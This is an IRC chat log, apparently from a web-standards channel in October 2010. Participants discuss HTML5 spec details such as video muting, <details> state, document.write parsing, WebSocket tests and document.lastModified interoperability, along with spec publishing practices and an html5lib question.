i almost never want videos muted personally, if i want audio off i want all audio off and turn it off at the system level

[02:30:02.0000] <annevk>
yeah me too

[02:30:03.0000] <annevk>
I think .muted should just turn into an author setting

[02:31:00.0000] <annevk>
like it is for Flash video as well

[02:31:01.0000] <Hixie>
i'd love a "this tab is a source of sound" indicator, but i don't think i care about turning the sound off at that level (though a shortcut to override all the <video> elements on the page in one go mighht be ok)

[02:31:02.0000] <annevk>
mute control on youtube can say it should give sound, but I often have it turned off system wide anyway

[02:31:03.0000] <Rik`>
sometimes, I want to mute manually

[02:31:04.0000] <Hixie>
i don't understand, are you saying that .muted should not reflect the muted indicator you get from controls=""?

[02:32:00.0000] <Rik`>
when a website is playing a sound and I can't figure out how to stop it

[02:33:00.0000] <Rik`>
I'd like browsers to provide some UI to find which tabs are currently playing some sound

[02:33:01.0000] <zcorpan>
Hixie: on a second thought, maybe it's not so bad to just mutate the dom

[02:34:00.0000] <annevk>
Hixie, I guess in that case mutating the DOM might be ok, though I am not sure

[02:35:00.0000] <annevk>
Hixie, for <details> UAs could remember the state too which would mutate the DOM

[02:35:01.0000] <Hixie>
i think mutating the dom would be really weird for the reason given by the CSS example I gave in http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2010-September/028755.html

[02:35:02.0000] <Hixie>
(that problem isn't such a big deal for <details>)

[02:36:00.0000] <zcorpan>
why is it weird? if the author wants special styling for muted videos, it makes sense to have video[muted] match when the video is muted

[02:36:01.0000] <annevk>
isn't it the same problem for <details>?

[02:37:00.0000] <annevk>
author assumes it is open/closed but it's the other way around based on earlier interaction (or maybe a preference/extension that expands all those controls by default)

[02:43:00.0000] <Hixie>
i would expect a difference because an author might have a bunch of muted videos that are always muted, and he uses that as a hook for styling them differently from the main video that isn't muted

[02:43:01.0000] <Hixie>
e.g. imagine if the small poster frames on a youtube page were all live <video>s

[02:43:02.0000] <Hixie>
muted ones

[02:43:03.0000] <Hixie>
and they were made small because all muted videos were small

[02:44:00.0000] <Hixie>
that's different than <details> and [open] because the most likely reason to style [open] is that you're trying to do something for when it's open vs when it's not

[02:44:01.0000] <Hixie>
but i agree that this argument is weak

[02:44:02.0000] <zcorpan>
it seems stupid to hook that styling off muted="", and anyway youtube would want to use a different video stream for those to save bandwidth, and could just remove the audio stream altogether and not bother with muted=""

[02:45:00.0000] <Hixie>
yeah i'm not saying it'd be a good idea

[02:46:00.0000] <zcorpan>
what if the author only has the main video and wants to style it specially when it's muted

[02:46:01.0000] <zcorpan>
we could introduce :muted for that, but having [muted] just work is simpler

[02:47:00.0000] <Hixie>
that argues for exposing the entire API in content attributes

[02:47:01.0000] <Hixie>
i'm not sure that's a reasonable line of argumentation

[02:47:02.0000] <zcorpan>
true

[02:48:00.0000] <Hixie>
fwiw, flash apparently makes a mess of this particular issue (muting by default), so they're not useful as inspiration here.

[02:49:00.0000] <annevk>
the styling would only be affected if the user agent remembered the muted settings, I wonder how likely such a scenario is

[02:50:00.0000] <zcorpan>
annevk: it seems like better user experience to remember the mute setting on reload

[02:51:00.0000] <annevk>
is it worth the trouble?

[02:52:00.0000] <annevk>
however, having muted and .defaultMuted also works for me

[02:53:00.0000] <Hixie>
zcorpan is right that defaultmuted="" is kinda ugly

[02:56:00.0000] <zcorpan>
annevk: remembering checkbox states is apparently worth the trouble

[02:57:00.0000] <zcorpan>
although a form taken together can take a long time to fill, while muting a video is trivial

[02:57:01.0000] <zcorpan>
so i dunno

[02:57:02.0000] <zcorpan>
i'm not an UX guy :)

[02:57:03.0000] <zcorpan>
s/an/a/

[03:00:00.0000] <annevk>
Hixie, I meant following the <input value> design

[03:00:01.0000] <Hixie>
ah

[03:00:02.0000] <Hixie>
sicking would hate that

[03:00:03.0000] <annevk>
Hixie, sicking is right that it's not nice, but it would be internally consistent and somewhat predictable

[03:01:00.0000] <annevk>
and not give weird DOM stuff

[03:01:01.0000] <Hixie>
/me thinks that remembering mute state may be more important for some settings than remembering checked state, btw :-)

[03:01:02.0000] <annevk>
(though in the case of <details> it would require a pseudo-class of some kind to be introduced)

[03:01:03.0000] <Hixie>
yeah, <details> is kind of my experiment in this space

[03:01:04.0000] <Hixie>
i want to see what authors think of the straight-DOM-mutation design

[03:05:00.0000] <zcorpan>
seems bad to ship Hixie experiments with known bad design that are impossible to revert later on

[03:05:01.0000] <zcorpan>
if it is bad design

[03:05:02.0000] <zcorpan>
can't we already test this since some versions of ie mutate the dom?

[03:06:00.0000] <Hixie>
well it's not known bad, that's the point

[03:06:01.0000] <Hixie>
the IE experiment suggested it might be good, but was confused because authors were more annoyed with the lack of interop than either particular behaviour.

[03:09:00.0000] <zcorpan>
maybe we can get help from the html5 doctors here

[03:09:01.0000] <zcorpan>
post a simplequiz

[03:09:02.0000] <zcorpan>
Which Way Sucks Less?

[03:09:03.0000] <annevk>
might be interesting

[03:10:00.0000] <zcorpan>
/me summons the doctors

[03:10:01.0000] <Hixie>
that would certainly be interesting, but it's more the organic blog rants and how many pages use it and so on that i am interested in

[03:11:00.0000] <Hixie>
e.g. finding how many people use [open] vs how many people detect onopen and set a class or whatnot

[03:11:01.0000] <zcorpan>
that would be a function of what works in existing browsers

[03:11:02.0000] <Hixie>
yes

[03:12:00.0000] <Hixie>
it's a long-term experiment

[03:12:01.0000] <zcorpan>
so when we know the answer it's too late to change the feature

[03:12:02.0000] <Hixie>
yeah, <details> is stuck this way forever.

[03:13:00.0000] <Hixie>
the point is to find out the results for future ideas.

[03:13:01.0000] <annevk>
well, <details> is not stuck yet

[03:46:00.0000] <annevk>
hsivonen, how does the parser know the difference between network and document.write() characters?

[03:51:00.0000] <jgraham>
annevk: What are you reading?

[03:52:00.0000] <jgraham>
Presumably the "script nesting level" is non-zero when processing document.written characters

[03:53:00.0000] <annevk>
the <meta http-equiv> thing

[03:53:01.0000] <annevk>
that is a good point

[03:54:00.0000] <jgraham>
Bug 11013?

[03:54:01.0000] <Hixie>
not necessiraly

[03:54:02.0000] <Hixie>
necessarily

[03:55:00.0000] <Hixie>
consider document.write('<script src=""></script><meta ...>');

[03:56:00.0000] <Hixie>
also note crazy things like <script>document.write('<script src=""></script><meta');</script> http-equiv="Content-Type" content="text/html;charset=gah">

[03:56:01.0000] <hsivonen>
annevk: data that has come from document.write is in a different queue of buffers than data that has come from the network

[03:57:00.0000] <jgraham>
Well it isn't even clear to me what behaviour hsivonen wants for the latter case :)

[03:57:01.0000] <hsivonen>
annevk: when the parser parses the data and generates tree operations, the informantion about where the element came from is baked into the op code

[03:58:00.0000] <hsivonen>
jgraham: I want to ignore the meta if the > character that caused the token to be emitted came from document.write

[03:58:01.0000] <jgraham>
Hixie: Is there some clear explaination of the *point* of the script nesting level concept? I can follow things through the algorithm but I don't have an intuitive sense of why it is needed 

[03:59:00.0000] <hsivonen>
in Hixie's document.write('<script src=""></script><meta ...>');

[03:59:01.0000] <hsivonen>
example, the meta came from document.write

[03:59:02.0000] <hsivonen>
in Hixie's next example, it didn't

[03:59:03.0000] <annevk>
hsivonen, that sounds like implementation details

[04:00:00.0000] <hsivonen>
annevk: we're always speccing details

[04:00:01.0000] <jgraham>
For example I can't instantly see why the script nesting level would be 0 for the meta in the first example

[04:00:02.0000] <hsivonen>
annevk: I want my details to be specced so that I don't need to change anything

[04:00:03.0000] <annevk>
hsivonen, I guess I'm saying it would be nice to not have this one, but the "script nesting level" makes sense

[04:00:04.0000] <jgraham>
(I assume it would be 0 from context)

[04:00:05.0000] <Hixie>
jgraham: it's just used to keep track of when the parser should be unblocked in the case of the parser getting blocked during a re-entrant document.write()

[04:01:00.0000] <Hixie>
jgraham: e.g. if you document.write() a script that document.write()s an external script, the parser should not be unblocked by the second por third nested parsers, only the first (not-nested) parser.

[04:02:00.0000] <hsivonen>
Currently, Gecko doesn't differentiate between elements that originated from tokens that came from synchronous document.write tokenization and that came from asynchronous document.write tokenizations

[04:03:00.0000] <jgraham>
/me feels like a diagram would help here

[04:06:00.0000] <Hixie>
i just noticed that the description of http://www.w3.org/Bugs/Public/show_bug.cgi?id=11013 doesn't match the summary

[04:06:01.0000] <Hixie>
for the record, i don't read the summaries generally

[04:06:02.0000] <Hixie>
so please don't put important information in the summaries :-)

[04:07:00.0000] <Hixie>
(i similarly don't read subject lines in e-mails)

[04:08:00.0000] <Hixie>
ok bed time

[04:08:01.0000] <Hixie>
nn

[04:32:00.0000] <hsivonen>
ooh. Decisions.

[04:55:00.0000] <zcorpan>
Hixie: did you mean to have the link continue to the end of the paragraph in r5618?

[07:32:00.0000] <annevk>
oh, Simon is gone

[07:33:00.0000] <annevk>
zcorpan, if there's logs, it looked good otherwise

[07:40:00.0000] <annevk>
http://vimeo.com/15775937 -- howcome on CSS

[07:43:00.0000] <annevk>
kind a like that original World Wide Web slogan he shows

[07:43:01.0000] <annevk>
"you click, we do the rest!"

[07:48:00.0000] <annevk>
http://people.opera.com/howcome/2008/talks/tour/cern-2853749.jpg

[08:18:00.0000] <sean`>
a

[08:44:00.0000] <micheil>
annevk: is Greg Wilkins from opera?

[08:45:00.0000] <annevk>
no

[08:45:01.0000] <micheil>
(or rather, where is he from)

[08:45:02.0000] <micheil>
I can't recall.

[08:47:00.0000] <jgraham>
Presumably from Webtide ("the java experts behind jetty")

[08:47:01.0000] <micheil>
k

[08:47:02.0000] <jgraham>
http://www.webtide.com/about/management.jsp

[10:04:00.0000] <karlcow>
huh http://images.vizworld.com/wp-content/uploads/2010/05/Apple-Flash-Infographics.jpg

[10:29:00.0000] <annevk>
hmm, [Supplemental] does not work for constructor additions

[10:41:00.0000] <MikeSmith>
annevk: status on publications is that I have been traveling and I will attempt to get everything ready for publication on Thursday

[10:42:00.0000] <MikeSmith>
but if not, it will be next Tuesday instead

[10:46:00.0000] <annevk>
hey MikeSmith, wb then :)

[10:47:00.0000] <annevk>
should have realized you were away

[10:48:00.0000] <MikeSmith>
I'm going to be in and out this week as well

[10:48:01.0000] <MikeSmith>
I'm in Australia at the Web Directions South event

[10:48:02.0000] <annevk>
aah, good times

[10:48:03.0000] <MikeSmith>
and some other things around that

[10:48:04.0000] <annevk>
emailed you one question about TPAC

[10:48:05.0000] <MikeSmith>
yep

[10:48:06.0000] <MikeSmith>
just replied

[10:48:07.0000] <annevk>
kk

[10:49:00.0000] <annevk>
as far as I'm concerned publishing next week is fine

[10:49:01.0000] <annevk>
was just wondering what the holdup was

[10:52:00.0000] <MikeSmith>
holdup is me as usual :)

[11:16:00.0000] <othermaciej>
jgraham: looks like it got fixed

[11:30:00.0000] <Ms2ger>
Did Opera submit their WebSockets tests anywhere?

[11:40:00.0000] <annevk>
Ms2ger, they're up for grabs

[11:41:00.0000] <annevk>
Ms2ger, guess one of us ought to email public-webapps...

[12:13:00.0000] <jgraham>
Ms2ger: They often depend on th -76 protocol. Also they require pywebsockets which is not sutiable for public-facing servers

[12:14:00.0000] <jgraham>
So whilst we encourage people implemening -76 (really: -00) to use the tests, it's not clear that they are in a state where they should be submitted anywhere

[12:14:01.0000] <micheil>
/me should really get around to write the node.js powered websocket protocol tests.

[12:15:00.0000] <Ms2ger>
At least dump them on www-archive, then

[12:15:01.0000] <jgraham>
Sure, we can send a link to www-archive

[12:16:00.0000] <jgraham>
/me wishes for a bot to ask zcorpan to do that when he returns

[12:16:01.0000] <jgraham>
/me hopes that zcorpan reads the logs with bot-like diligence

[12:16:02.0000] <othermaciej>
the WebKit layout tests also have a bunch of WebSocket tests

[12:17:00.0000] <othermaciej>
(I am not sure how many would be useful as standards tests of the protocol)

[12:17:01.0000] <jgraham>
othermaciej: Presumably in specs-theory-land we curenly dn't want tests of the protocol, only of the API

[12:18:00.0000] <jgraham>
Of course it is hard to test the API without some assumptions about the protocol

[12:18:01.0000] <Ms2ger>
Presumably the point of the WHATWG was to get out of specs-theory-land

[12:19:00.0000] <jgraham>
right, and we made the tests public :)

[12:19:01.0000] <Ms2ger>
/me sends jgraham a cake

[12:20:00.0000] <jgraham>
I guess webapps can take the tests that we have and adapt them for the new protocol if it happens

[12:20:01.0000] <AryehGregor>
sicking, how could I provide a diff that takes me from one version of the patch to another, when there's no common base commit that both patches will apply to?

[12:21:00.0000] <AryehGregor>
(Also, do I have to do anything now on the bug, or someone else will handle everything and I can forget about it for now?)

[12:22:00.0000] <micheil>
/me is still of opinion that when we have a spec X vs spec Y discussion, there should be PoC's made and tested.

[12:23:00.0000] <sicking>
AryehGregor: add "checkin-needed" keyword

[12:23:01.0000] <sicking>
AryehGregor: for dealing with merge conflicts interdiffs are indeed hard to produce

[12:24:00.0000] <sicking>
AryehGregor: basically what you'd do in this case is:

[12:24:01.0000] <sicking>
1. update to tip

[12:24:02.0000] <jgraham>
PoCs? I guess not Pieces of Cake, although I am avaliable to test cake if needed

[12:24:03.0000] <sicking>
2. make necessary changes

[12:24:04.0000] <jgraham>
Depending on the provenance of said cake

[12:24:05.0000] <sicking>
3. create a diff between code in 1 and 2

[12:24:06.0000] <jgraham>
No horrible supermarket cake

[12:25:00.0000] <sicking>
AryehGregor: a good way to do 3, if you're using mq, is to push a new patch on the queue before you start with 2

[12:25:01.0000] <micheil>
jgraham: proof-of-concept or proof-of-code

[12:25:02.0000] <AryehGregor>
What does "make necessary changes" mean?

[12:26:00.0000] <sicking>
AryehGregor: well, in this case no changes were needed

[12:26:01.0000] <Ms2ger>
Fix review comments, I guess

[12:26:02.0000] <sicking>
AryehGregor: but otherwise make whatever changes are needed to make things work on tip

[12:27:00.0000] <jgraham>
micheil: You are free to do that of course; don' feel you have to ask permission. And I encourage it; it would be very useful. Although it can't settle many interesting questions, like relative securiy properties or deployability on large scales

[12:27:01.0000] <AryehGregor>
sicking, so how is that different from just a new version of the patch?  My v3 was just the same exact patch as v2 but with conflicts resolved.

[12:27:02.0000] <sicking>
AryehGregor: in this case simply answering "yes" to my question if the only thing you changed was to remove the HTMLObjectElement changes would have been enough :)

[12:27:03.0000] <AryehGregor>
Okay.

[12:28:00.0000] <micheil>
jgraham: true, but it'd weed out the specs that don't aid the protocol.

[12:29:00.0000] <jgraham>
micheil: I don' really know what you mean "don't aid the protocol"

[12:30:00.0000] <jgraham>
It might be helpful for answering certain specific questions

[12:30:01.0000] <micheil>
I'm not sure either there. I'm just saying that it'd be good to see something being done in code rather then just theory.

[12:31:00.0000] <jgraham>
But it's hard to see how to use it to assess the relative importance of obfuscating all user-supplied data for security vs making routing using extant HTTP infrastructure possible, for example

[12:31:01.0000] <jgraham>
Which is the current big issue

[12:32:00.0000] <jgraham>
Note that I am not trying o discourage you; making rough implementations of draft specs is one of my favourite ways to beter understand those specs

[12:35:00.0000] <micheil>
jgraham: well, I'll probably be implementing a -02 parse for packets soon.

[12:35:01.0000] <micheil>
just got big problems in my new -00 parser first.

[12:38:00.0000] <karlcow>
hmmm not interop for lastModified between browsers  http://www.w3.org/TR/html5/dom.html#dom-document-lastmodified

[12:38:01.0000] <karlcow>
I tried on a page without LastModified defined at the HTTP level.

[12:38:02.0000] <karlcow>
javascript:alert(document.lastModified)

[12:38:03.0000] <karlcow>
Opera 10.63 - January 1, 1970 GMT

[12:38:04.0000] <karlcow>
Safari 5.0.2 - Nil

[12:38:05.0000] <karlcow>
Firefox 4.0b6 - 10/13/2010 14:36:31 (date of the cache)

[12:39:00.0000] <karlcow>
"If the last modification date and time are not known, the attribute must return the current date and time in the above format."

[12:42:00.0000] <lsxq>
what's the deal with motion jpeg?

[12:44:00.0000] <lsxq>
i tried reading up on it and i'm wondering how it originally got supported? and is it formally discouraged/depreciated somewhere?

[12:48:00.0000] <lsxq>
and if not what's the case for not allowing it to be used in conjunction with the video tag?

[12:48:01.0000] <Hixie>
in http://www.w3.org/2002/09/wbs/40318/issues-74-and-105-objection-poll/ how are #2 and #3 different?

[12:48:02.0000] <Hixie>
othermaciej? ^

[12:49:00.0000] <TabAtkins>
Hixie: I read them, and I assume there's some subtle point that I don't get.  I just gave the same objection to both.

[12:49:01.0000] <Ms2ger>
lsxq, the spec allows it, but nobody has implemented it

[12:49:02.0000] <Hixie>
this poll seems very poorly constructed

[12:50:00.0000] <othermaciej>
Hixie: I dunno, looks like a bug in the poll

[12:50:01.0000] <TabAtkins>
Oh, wait, wrong one.  I havent' answered that.

[12:50:02.0000] <othermaciej>
I believe one of questions 2 or 3 is redundant and should be deleted

[12:51:00.0000] <karlcow>
IE8 - 10/13/2010 14:53:22 (date of now)

[12:51:01.0000] <karlcow>
chrome v6.0.472.63 - Nil

[12:51:02.0000] <lsxq>
Ms2ger: so i guess i should be complaining to browser vendors then?

[12:51:03.0000] <karlcow>
ok only IE8 gives what the spec says (or maybe the spec says what IE8 does)

[12:51:04.0000] <TabAtkins>
lsxq: Yup, if you want it that's the course to take.

[12:52:00.0000] <Ms2ger>
lsxq, you could try

[12:56:00.0000] <Philip`>
lsxq: There's probably little interest in supporting it for web video since its compression performance is very poor

[12:58:00.0000] <othermaciej>
Hixie: Sam removed the dupe

[13:00:00.0000] <lsxq>
Philip`: i'm definitely not going to argue with that, it's just that even the newer browsers have added in mjpeg playback under <img> and well.. it's really video right? doesn't it make sense to be able to use it under the video tag?

[13:00:01.0000] <Hixie>
k

[13:01:00.0000] <AryehGregor>
lsxq, do you also think animated GIF should be supported in <video>?

[13:01:01.0000] <AryehGregor>
In theory, maybe, but nobody does, I don't think.

[13:02:00.0000] <lsxq>
well you can't stream gif like you can mjpeg.. i don't think

[13:09:00.0000] <Hixie>
annevk: yt?

[13:44:00.0000] <annevk>
Hixie, somewhat

[13:45:00.0000] <annevk>
Hixie, if you wonder about CSSOM View, my idea is to add the UA-agnostic stuff for scrolling

[13:45:01.0000] <annevk>
Hixie, elsewhere it also deals with other media (usually simply returning zero) zo it can do that here too

[13:47:00.0000] <annevk>
/me is enjoying Twin Peaks

[13:49:00.0000] <Hixie>
annevk: k

[13:49:01.0000] <Hixie>
annevk: sounds good

[13:49:02.0000] <Hixie>
annevk: do you want me to do anything with the text currently in HTML? e.g. archive it in the bug and assign the bug to you?

[13:50:00.0000] <annevk>
that sounds good

[13:50:01.0000] <Hixie>
k

[13:50:02.0000] <Hixie>
thanks

[14:04:00.0000] <Hixie>
annevk: btw is there a magical invocation i can use to use the scroll into view stuff?

[14:04:01.0000] <Hixie>
for frag id nav

[14:05:00.0000] <Hixie>
also, please put a link to the dev.w3.org version on the TR/ version, i can never find the editor's draft and the TR/ draft has higher pagerank

[14:06:00.0000] <Hixie>
oh, i see, "scroll the element into view [CSSOMVIEW]" should do it

[14:59:00.0000] <annevk>
Hixie, Bert removes those links when publishing

[15:00:00.0000] <annevk>
Hixie, apparently that is within his rights and I have been so far the only person to vocally argue against it within the CSS WG

[15:01:00.0000] <TabAtkins>
I've never had a draft on TR with the dev links removed, or else I'd argue against it too.

[15:03:00.0000] <Hixie>
annevk: refuse to publish again until he backs down

[15:04:00.0000] <annevk>
I'm not sure how not having published anything yet is relevant. Either it is useful or it is not. The relevant thread is http://lists.w3.org/Archives/Member/w3c-css-wg/2010JulSep/thread.html#msg43 (W3C Member-only; no idea why)

[15:04:01.0000] <Hixie>
the whole TR/ page is such an anachronism

[15:05:00.0000] <annevk>
Hixie, I get enough trouble as it is within the CSS WG, but this is one of the reasons CSSOM hasn't been published at all yet

[15:05:01.0000] <annevk>
get into*

[15:06:00.0000] <Hixie>
annevk: well if you don't publish on the TR/ page at all, my life is easier cos i can't find the TR/ one by mistake :-)

[15:06:01.0000] <Hixie>
so that works for me :-)

[15:09:00.0000] <Hixie>
i think it's ludicrous that the IETF publishes its specs in a manner that is optimised for 1970s-era line printers and the W3C publishes its specs in a manner optimised for 1980s-style closed-room development

[15:09:01.0000] <Hixie>
s/closed-room/magazine publishing/

[15:10:00.0000] <TabAtkins>
IETF's spec publishing actively angers me.  It feels like they are slapping me in the face every time I look at one.

[15:11:00.0000] <Hixie>
oh i wouldn't take the IETF's practices personally

[15:11:01.0000] <Hixie>
it says more about their community than about how they feel about other communities

[15:13:00.0000] <Dashiva>
Hixie: That's because most of the IETF members still use 1970s-era line printers

[15:13:01.0000] <Hixie>
lol

[15:14:00.0000] <Hixie>
IETF doesn't have members actually

[15:14:01.0000] <Hixie>
they have a model more like the WHATWG than the W3C

[15:14:02.0000] <TabAtkins>
The only thing I can possibly see it saying about their community is that every person in it uses ancient terminals.  That's not true, so I consider it an insult every time.

[15:14:03.0000] <Dashiva>
TabAtkins: Every person with some clout does, apparently

[15:14:04.0000] <TabAtkins>
All those people are clearly senile and useless.

[15:14:05.0000] <Hixie>
TabAtkins: no it just says that they are stuck in their ways, not that they think it's actually sensible

[15:14:06.0000] <Dashiva>
We discussed this like a year ago, when someone posted a link to discussion and remarked that Julian was the voice of sanity there

[15:15:00.0000] <TabAtkins>
Hixie: There is a difference between "this isn't great, but shrug, it's kinda tradition" and "let's just screw everyone in the face every time they look at what we produce, because we can!  Bwahahahaha!".

[15:15:01.0000] <Hixie>
TabAtkins: i've never heard any IETF people actually say that the lien printer thing makes sense, they're just institutionally stuck

[15:16:00.0000] <Dashiva>
Let's see...

[15:16:01.0000] <Hixie>
TabAtkins: i don't think i've seen any evidence that anyone holds the latter opinion. I've only heard the former one, even from old timers in the IETF.

[15:17:00.0000] <Hixie>
but frankly i think the text thing is just quirky, it's not harmful. What's harmful is the snapshot-style development.

[15:17:01.0000] <TabAtkins>
My point was that the current setup is *so* bad, that you can't actually hold the former opinion.

[15:17:02.0000] <jgraham>
I distinctly remember people arguing that ascii plain text was the only format with the necessary longetivity

[15:17:03.0000] <jgraham>
Anyway this is just another example of standards organisations being a product of the era in which they are set up

[15:17:04.0000] <Hixie>
and IETF is even worse than W3C there, because they don't even require a CR-like phase in theory

[15:18:00.0000] <Hixie>
(w3c doesn't require it in practice, but at least they require it in theory)

[15:18:01.0000] <Hixie>
jgraham: i feel like it's more like they're hte product of the era before the era they were set up in

[15:18:02.0000] <Hixie>
jgraham: IETF was set up in the late 80s, not the early 70s

[15:18:03.0000] <Dashiva>
Unicode is impossible: http://www.ietf.org/mail-archive/web/ietf/current/msg60589.html

[15:19:00.0000] <Dashiva>
NRoff is easy and sane and everything else is hard: http://www.ietf.org/mail-archive/web/ietf/current/msg60573.html

[15:20:00.0000] <Hixie>
i don't think the text/plain stuff is that bad. The real problem is that they page their specs, IMHO.

[15:20:01.0000] <Hixie>
s/page/paginate/

[15:20:02.0000] <jgraham>
Maybe that's because they adopt the stuff from the previous decade as "immutable stuff that will always stay with us" and treat anything too new as dangerous to their credibility now they are a fledgling standards organisation looking to be taken seriously

[15:20:03.0000] <Hixie>
most RFCs nowadays are written as XML that can be converted to a variety of formats

[15:20:04.0000] <Hixie>
jgraham: yeah

[15:20:05.0000] <jgraham>
The pagination thing sucks so badly it hurts

[15:20:06.0000] <Hixie>
jgraham: which is funny given the point is to improve standards :)

[15:21:00.0000] <Hixie>
anyway

[15:21:01.0000] <jgraham>
Well probably all the kids now wonder why WHATWG doesn't publish its specs in twitter-sized chunks using flash. Or something.

[15:22:00.0000] <jgraham>
/me is not very down with the kids

[15:22:01.0000] <Dashiva>
Semantics are crap: http://www.ietf.org/mail-archive/web/ietf/current/msg60581.html

[15:23:00.0000] <karlcow>
jgraham: I think it is more a question of community and habits, processes which are being carved by the cowpath. Things which are written sealed practices for the good or the bad. Both actually. It is visible in any community practices.

[15:23:01.0000] <Hixie>
Dashiva: you have successfully convinced me that the IETF has crazies

[15:24:00.0000] <jgraham>
It is not that surprising that the IETF has crazies, after all the world has crazies and anyone can join

[15:24:01.0000] <jgraham>
The problem is, the crazies are winning

[15:24:02.0000] <Hixie>
jgraham: we did use twitter. When they changed their API the twitter stuff broke and nobody complained. So the kids probably don't want that after all. :-)

[15:24:03.0000] <Dashiva>
If Hixie is convinced I guess I don't have to force my self to read more mails :)

[15:25:00.0000] <jgraham>
Hixie: No I meant one 140 characterconformance requirement at a time

[15:25:01.0000] <Hixie>
hsivonen: yt?

[15:26:00.0000] <Hixie>
hsivonen: should "a style sheet that is blocking scripts", when it's from an ancestor browsing context, be required to be inserted by a parser also?

[15:26:01.0000] <jgraham>
"Using HTML or PDF for RFCs is about the same as moving from

[15:26:02.0000] <jgraham>
English language RFCs to mandarin language RFCs"

[15:26:03.0000] <jgraham>
This stuff is comedy gold

[15:28:00.0000] <TabAtkins>
...

[15:36:00.0000] <jgraham>
Actually I wish I hadn't read any more of that thread

[15:36:01.0000] <jgraham>
It becomes somewhat scary 

[15:41:00.0000] <TabAtkins>
annevk: Well, I commented.

[15:47:00.0000] <annevk>
ta

[15:51:00.0000] <Hixie>
http://toki-woki.net/p/scroll-clock/

[15:52:00.0000] <Hixie>
similar to the text-editor-made-of-radio-buttons i hypothesised about in the canvas a11y thread and got ridiculed for

[15:55:00.0000] <TabAtkins>
I could make it in pure CSS.  ^_^

[15:56:00.0000] <TabAtkins>
Just figure out the animations necessary for each element as it cycles through the 10 digits, then apply it to each place with successively longer animation-durations.

[15:57:00.0000] <Hixie>
heh

[16:55:00.0000] <kinetik>
is it intentional that vorbis_synthesis_init returns > 0 on error? (https://bugzilla.mozilla.org/show_bug.cgi?id=604067#c3)

[16:58:00.0000] <TabAtkins>
kinetik: Wrong room?

[16:58:01.0000] <kinetik>
ah, all my irssi windows have changed numbers--sorry

[16:58:02.0000] <kinetik>
(that explains why xiphmont failed to tab complete...)


2010-10-14
[20:07:00.0000] <Aryeh-laptop>
/me experiments with Empathy

[20:29:00.0000] <karlcow>
http://developer.yahoo.com/blogs/ydn/posts/2010/10/how-many-users-have-javascript-disabled/

[20:33:00.0000] <wirepair>
woa interesting stats.

[01:47:00.0000] <hsivonen>
http://www.w3.org/TR/REC-xml/#AVNormalize is still the XML spec section I need to quote the most often :-(

[01:53:00.0000] <zcorpan>
i wonder what happens with the polyglot spec when it's going to be published again since it now uses the html5 doctype

[01:53:01.0000] <Hixie>
shouldn't it be a polyglot document?

[01:54:00.0000] <zcorpan>
yes, that's why it uses the html5 doctype

[01:54:01.0000] <Hixie>
ah, interesting

[01:54:02.0000] <Hixie>
well it can always use the XHTML1.0 one when the pubteam complain

[01:55:00.0000] <zcorpan>
then it's not polyglot anymore according to the polyglot spec iirc

[01:55:01.0000] <Hixie>
ah ok

[01:55:02.0000] <Hixie>
well then

[01:55:03.0000] <Hixie>
this ought to be fun

[01:56:00.0000] <Hixie>
as the pubteam's immovable wall of policy meets the polyglot's unstoppable force, as they say

[01:58:00.0000] <zcorpan>
oh, it seems it allows the xhtml 1.0 doctype

[01:59:00.0000] <zcorpan>
actually the normative part allows html4 doctype without url

[01:59:01.0000] <zcorpan>
that seems like a bug

[01:59:02.0000] <zcorpan>
http://dev.w3.org/html5/html-xhtml-author-guide/html-xhtml-authoring-guide.html#doctype

[02:01:00.0000] <zcorpan>
anyway, i don't care about that document

[02:12:00.0000] <hsivonen>
zcorpan: wait! is there now a normative part in the polyglot guide?

[02:13:00.0000] <zcorpan>
hsivonen: well i guess the document as a whole is non-normative, but it has "must"s

[02:13:01.0000] <hsivonen>
zcorpan: hmmkay

[02:14:00.0000] <zcorpan>
and also "this section is non-normative" and normative references and informative references

[02:15:00.0000] <Hixie>
um... it seems to do a poor job at being non-normative then

[02:15:01.0000] <Hixie>
someone should, like, file a bug

[02:15:02.0000] <hsivonen>
yay for leaky abstactions. when I read the email I just set to public-html (as sent back to me by the list server), I see two instances of ">From" at the start of a line in Zimbra

[02:15:03.0000] <Hixie>
that design bug has plagued the mail world for years

[02:15:04.0000] <zcorpan>
> From is so annoying

[02:17:00.0000] <zcorpan>
at least opera doesn't do that

[03:12:00.0000] <zcorpan>
does space need to be escaped in srcdoc in xml?

[03:13:00.0000] <Hixie>
we had a whole poll about that topic recently

[03:13:01.0000] <zcorpan>
yeah i know

[03:14:00.0000] <zcorpan>
"For a white space character (#x20, #xD, #xA, #x9), append a space character (#x20) to the normalized value."

[03:15:00.0000] <zcorpan>
seems to me that space doesn't need to be escaped

[03:15:01.0000] <zcorpan>
the paragraph about non-CDATA attributes doesn't apply since srcdoc is a CDATA attribute

[03:16:00.0000] <Hixie>
well then i guess we have new information: it turns out it IS too complicated for julian to come up with accurate text after all, and the concerns in my CP were justified.

[03:19:00.0000] <Workshiva>
But surely Julian isn't representative for the average XHTML author ;)

[03:22:00.0000] <zcorpan>
ok so what do i do? just file a new bug?

[03:22:01.0000] <annevk>
so srcdoc really is just a nice syntax for data URLs, right?

[03:22:02.0000] <annevk>
with the media type implied

[03:22:03.0000] <Hixie>
zcorpan: sam's e-mail said something about how to escalate it, i didn't read the details

[04:54:00.0000] <Philip`>
zcorpan: It could be a non-CDATA attribute, if the DTD specifies it to be so

[04:57:00.0000] <Philip`>
(That's very unlikely, but if the goal is to describe how to safely escape attributes then it shouldn't ignore that case, and to avoid being far more complex it should just say to always escape whitspace)

[05:03:00.0000] <kuya>
hello, im using html5lib python version and its showing an error i cant work out 

[05:04:00.0000] <kuya>
*an error parsing my html 

[05:04:01.0000] <kuya>
could anyone help?

[05:06:00.0000] <jgraham>
kuya: Maybe. Just ask the question :)

[05:06:01.0000] <kuya>
im not quite sure what my question is! ;D

[05:06:02.0000] <kuya>
im seeing 194:11 Unexpected end tag (form). Ignored.

[05:07:00.0000] <kuya>
http://dpaste.com/257740/

[05:08:00.0000] <kuya>
is the relevant bit of html 

[05:08:01.0000] <kuya>
the w3c validator doesnt seem to complain on the same code 

[05:09:00.0000] <kuya>
(im willing to accept the error might be in a ton of html before that line...)

[05:10:00.0000] <kuya>
actually if i remove that form from the html the error goes away 

[05:10:01.0000] <kuya>
so wth is wrong with my form?

[05:11:00.0000] <jgraham>
Possibly it is just the error detection in html5lib gone wrong

[05:11:01.0000] <jgraham>
that is not very well tested

[05:11:02.0000] <jgraham>
I didn't really think anyone was using it :)

[05:12:00.0000] <kuya>
should i try html5lib from svn ... or try and fix html5lib... or just give up :)

